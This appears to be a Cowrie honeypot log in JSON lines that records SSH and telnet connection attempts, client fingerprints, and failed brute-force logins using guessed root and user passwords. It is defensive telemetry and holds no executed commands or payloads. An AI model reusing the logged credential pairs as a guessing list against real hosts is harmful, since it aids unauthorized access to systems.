{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":59866,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf9b505bd6f9","protocol":"ssh","message":"New connection: 103.82.20.28:59866 (159.203.135.109:22) [session: cf9b505bd6f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:55.521790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:55.525116Z","src_ip":"103.82.20.28","session":"cf9b505bd6f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:55.799643Z","src_ip":"103.82.20.28","session":"cf9b505bd6f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"olega","message":"login attempt [root/olega] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:56.626713Z","src_ip":"103.82.20.28","session":"cf9b505bd6f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.789052963256836,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:56.700893Z","src_ip":"170.64.224.25","session":"4bdcb12e4ad3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:57.904115Z","src_ip":"103.82.20.28","session":"cf9b505bd6f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.116.220.251","src_port":55974,"dst_ip":"159.203.135.109","dst_port":22,"session":"9aae51e298c2","protocol":"ssh","message":"New connection: 181.116.220.251:55974 (159.203.135.109:22) [session: 9aae51e298c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:45:40.317993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:45:40.322108Z","src_ip":"181.116.220.251","session":"9aae51e298c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.20.137","src_port":51866,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac629d70c281","protocol":"ssh","message":"New connection: 162.240.20.137:51866 (159.203.135.109:22) [session: ac629d70c281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:45:40.330419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:45:40.334195Z","src_ip":"162.240.20.137","session":"ac629d70c281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:45:40.416109Z","src_ip":"162.240.20.137","session":"ac629d70c281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:45:40.475846Z","src_ip":"181.116.220.251","session":"9aae51e298c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shib456","message":"login attempt [root/shib456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:45:40.665204Z","src_ip":"162.240.20.137","session":"ac629d70c281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456A.","message":"login attempt [root/123456A.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:45:41.124471Z","src_ip":"181.116.220.251","session":"9aae51e298c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:45:42.280090Z","src_ip":"181.116.220.251","session":"9aae51e298c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:45:42.896657Z","src_ip":"162.240.20.137","session":"ac629d70c281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":40796,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bfce6f7ab52","protocol":"ssh","message":"New connection: 185.243.11.39:40796 (10.17.0.5:22) [session: 0bfce6f7ab52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:45:42.918045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:45:42.921928Z","src_ip":"185.243.11.39","session":"0bfce6f7ab52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:45:43.010090Z","src_ip":"185.243.11.39","session":"0bfce6f7ab52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trezor","password":"Cr@zy#P@ss!W0rd99","message":"login attempt [trezor/Cr@zy#P@ss!W0rd99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:45:43.275689Z","src_ip":"185.243.11.39","session":"0bfce6f7ab52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:45:44.366045Z","src_ip":"185.243.11.39","session":"0bfce6f7ab52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":48250,"dst_ip":"159.203.135.109","dst_port":23,"session":"18d8e3c7e5cf","protocol":"telnet","message":"New connection: 137.184.5.188:48250 (159.203.135.109:23) [session: 18d8e3c7e5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:01.132017Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.35.142","src_port":40524,"dst_ip":"10.17.0.5","dst_port":22,"session":"36b9e5363fc6","protocol":"ssh","message":"New connection: 162.254.35.142:40524 (10.17.0.5:22) [session: 36b9e5363fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:20.870776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:20.874640Z","src_ip":"162.254.35.142","session":"36b9e5363fc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:20.938910Z","src_ip":"162.254.35.142","session":"36b9e5363fc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blast","password":"blast999","message":"login attempt [blast/blast999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:21.134561Z","src_ip":"162.254.35.142","session":"36b9e5363fc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.21.248.43","src_port":39344,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce101888548a","protocol":"ssh","message":"New connection: 213.21.248.43:39344 (159.203.135.109:22) [session: ce101888548a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:21.221397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:21.226771Z","src_ip":"213.21.248.43","session":"ce101888548a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:21.300583Z","src_ip":"213.21.248.43","session":"ce101888548a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.25.72","src_port":54170,"dst_ip":"159.203.135.109","dst_port":22,"session":"846f94d89f9a","protocol":"ssh","message":"New connection: 154.221.25.72:54170 (159.203.135.109:22) [session: 846f94d89f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:21.621765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:21.625879Z","src_ip":"154.221.25.72","session":"846f94d89f9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Li147258","message":"login attempt [root/Li147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:21.633142Z","src_ip":"213.21.248.43","session":"ce101888548a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:21.826076Z","src_ip":"154.221.25.72","session":"846f94d89f9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:22.201850Z","src_ip":"162.254.35.142","session":"36b9e5363fc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root!!2026","message":"login attempt [root/Root!!2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:22.633125Z","src_ip":"154.221.25.72","session":"846f94d89f9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:22.709166Z","src_ip":"213.21.248.43","session":"ce101888548a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:23.839214Z","src_ip":"154.221.25.72","session":"846f94d89f9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":34484,"dst_ip":"159.203.135.109","dst_port":22,"session":"beb9d81a32e4","protocol":"ssh","message":"New connection: 159.65.58.200:34484 (159.203.135.109:22) [session: beb9d81a32e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:30.703206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:30.914755Z","src_ip":"159.65.58.200","session":"beb9d81a32e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:30.917857Z","src_ip":"159.65.58.200","session":"beb9d81a32e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"semina","password":"123456","message":"login attempt [semina/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:32.502017Z","src_ip":"159.65.58.200","session":"beb9d81a32e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:33.721684Z","src_ip":"159.65.58.200","session":"beb9d81a32e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":47232,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7f84522b830","protocol":"ssh","message":"New connection: 194.113.233.25:47232 (159.203.135.109:22) [session: e7f84522b830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:45.311909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:45.315408Z","src_ip":"194.113.233.25","session":"e7f84522b830","protocol":"ssh"}
